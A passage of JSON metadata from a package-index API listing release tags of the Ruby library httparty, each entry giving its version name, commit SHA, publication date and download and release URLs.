gz/v0.17.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"47c8b2529b999e74bdc5fa80537dfe96276deec2","kind":"commit","published_at":"2019-08-30T16:11:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"b4099defba01231d2faaaa2660476f867e096bfb","kind":"commit","published_at":"2019-04-20T14:07:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0/manifests"},{"name":"v0.16.4","sha":"7b2ad805a5bcc80dc4b06b542dd6de161e5cd95b","kind":"commit","published_at":"2019-02-05T15:39:33.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4/manifests"},{"name":"v0.16.2","sha":"da1b1ad1d67be214b0e7a587edf84a4bc5a5e793","kind":"commit","published_at":"2018-03-30T13:54:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"1a52a134c4aeef77668e56cbcf646d266d798389","kind":"commit","published_at":"2018-03-12T14:45:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"8f6c6a6b95b5b404c82415663ee47ccc890ba9c9","kind":"commit","published_at":"2018-02-13T02:01:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0/manifests"},{"name":"v0.15.7","sha":"2b0a21bccce29c57142af1958b375d0fe2ccd176","kind":"commit","published_at":"2018-02-07T15:57:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7/manifests"},{"name":"v0.15.6","sha":"5b7797b2827610ef35c7f4ce72d144b1748f0ee8","kind":"commit","published_at":"2017-07-21T20:15:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6/manifests"},{"name":"v0.15.5","sha":"7b5147c6885222af6b58ef6fa7c90ff4bb8b91f6","kind":"commit","published_at":"2017-05-19T02:01:50.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5/manifests"},{"name":"v0.15.4","sha":"6406421ac3e0252482afcdf22e652bf5bea754fb","kind":"commit","published_at":"2017-05-17T18:59:35.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4/manifests"},{"name":"v0.15.3","sha":"1c9b41140c72aa92b5c0f8792ee95f9ee0b142eb","kind":"commit","published_at":"2017-05-16T13:24:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"e9f4624c1172120bbd39ddc636620a24fc9386b1","kind":"commit","published_at":"2017-05-12T18:53:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9d4a91fe62b4184baadc2a5fe77a07417653e23c","kind":"commit","published_at":"2017-05-12T13:12:26.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"562e8ee20e7c256fb26ebd2b1eeb4751cb2abeb8","kind":"commit","published_at":"2017-05-11T14:43:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"f4a3e84f36eb8f33b76b9b3ae4739887ab87f495","kind":"commit","published_at":"2016-07-25T14:18:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.14.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0/manifests"},{"name":"v0.13.7","sha":"9d3dbc3852b294173d0d8309e59051491bf7d048","kind":"commit","published_at":"2015-09-23T12:08:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7/manifests"},{"name":"v0.13.6","sha":"5b6f22d2d87419ea862107e9e7947e71b912869a","kind":"commit","published_at":"2015-09-21T01:24:30.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6/manifests"},{"name":"v0.13.5","sha":"38ca4cf2e63d70df49575ceb0f3f669fbafd7739","kind":"commit","published_at":"2015-05-19T16:46:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5/manifests"},{"name":"v0.13.4","sha":"923eadd1ba94ceb614f5edd45d9a3c0d353e5f21","kind":"commit","published_at":"2015-05-13T15:33:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4/manifests"},{"name":"v0.13.3","sha":"107e69a6d1c8ceeb74e2e0a8b70f7b2bdbbd4a7a","kind":"commit","published_at":"2014-11-06T20:01:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3/manifests"},{"name":"v0.13.2","sha":"4679c8314dcace10ed4b912b0a522d14bb05d21d","kind":"commit","published_at":"2014-11-03T15:17:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2/manifests"},{"name":"v0.13.1","sha":"a570e54dd32e7c1ea16b072d0e10f552086ddbdb","kind":"commit","published_at":"2014-04-08T14:54:58.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"3c01a60af29ae6efd9347df23a5866a87488aa14","kind":"commit","published_at":"2014-02-14T18:50:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"7feb0287a0adae1676f4c6abc06414bae05f8b9b","kind":"commit","published_at":"2013-10-10T15:34:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.12.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1fde99ba8aa43372726804e5fe87d8b459baf59b","kind":"tag","published_at":"2013-04-10T13:43:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.11.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0/manifests"},{"name":"v0.10.2","sha":"a320025dbc89e9c572603a47e9e228cbfa285a14","kind":"tag","published_at":"2013-01-27T01:32:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"0f04ba868c92e932f6ad4a64825a95a9819063a3","kind":"tag","published_at":"2013-01-26T16:38:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"3e2ec2bda1f948fbb1e4ffbf531c9ebbbff00795","kind":"tag","published_at":"2013-01-10T20:52:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"d392c2d1cb4ca4413e28a7ef55dcede1fccd2dc6","kind":"tag","published_at":"2012-09-07T18:03:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.9.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0/manifests"},{"name":"v0.8.3","sha":"1d6e2fa72a51288b3d53850cb1a1ebd60f47d9a3","kind":"tag","published_at":"2012-04-22T03:09:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"d0ed57ea578655a3783df3732c3f349497fcc1f3","kind":"tag","published_at":"2012-04-12T17:06:11.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"76a9f1b45b4a11f12dd7d99d6497ca381a5607e5","kind":"tag","published_at":"2011-10-05T15:28:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"ebbd0cb9438547a2ad5cf998b63b234004dd5be6","kind":"tag","published_at":"2011-09-13T16:35:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0/manifests"},{"name":"v0.7.8","sha":"68c254f9c1d90430ec7da25e941625ba9e989799","kind":"tag","published_at":"2011-06-07T01:38:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.8","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"2d4c1bd34bd86dccf36616ea7540916a8adc1a09","kind":"tag","published_at":"2011-04-20T21:55:02.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"d7e3079c597209d9870d329baa13cb74d73deb68","kind":"tag","published_at":"2011-04-16T18:45:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"3ffad3570374014953fc5e36b528c8f838b78951","kind":"commit","published_at":"2011-04-15T22:32:09.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"00a7ec9ce55a8e1aeeea2fde7d16c59821266122","kind":"commit","published_at":"2011-02-13T20:20:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"d5b023c9054aaa308e012adb1220f8d1d065cdb9","kind":"commit","published_at":"2011-01-20T17:33:06.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"802a4edddd70b898580ee12bec79a4459214a5fd","kind":"commit","published_at":"2011-01-20T06:41:37.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"6946ecb4914bf65b685a0fd6bd4a122f1b2a4c01","kind":"commit","published_at":"2011-01-19T21:54:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"f52142ffc5867ce42bf3048315959d84e7639d64","kind":"commit","published_at":"2011-01-18T22:05:49.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"24892b873f88e16d86dca2dd5a96fcf4dacfcc77","kind":"commit","published_at":"2010-07-07T20:14:54.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"d160df6c3b21a384cfcc68c0ffd23dc6c168b68d","kind":"commit","published_at":"2010-06-13T15:43:43.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"03852d246bc1482150e92c23115e02e1de4930fb","kind":"commit","published_at":"2010-01-31T23:39:28.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.2","dependenc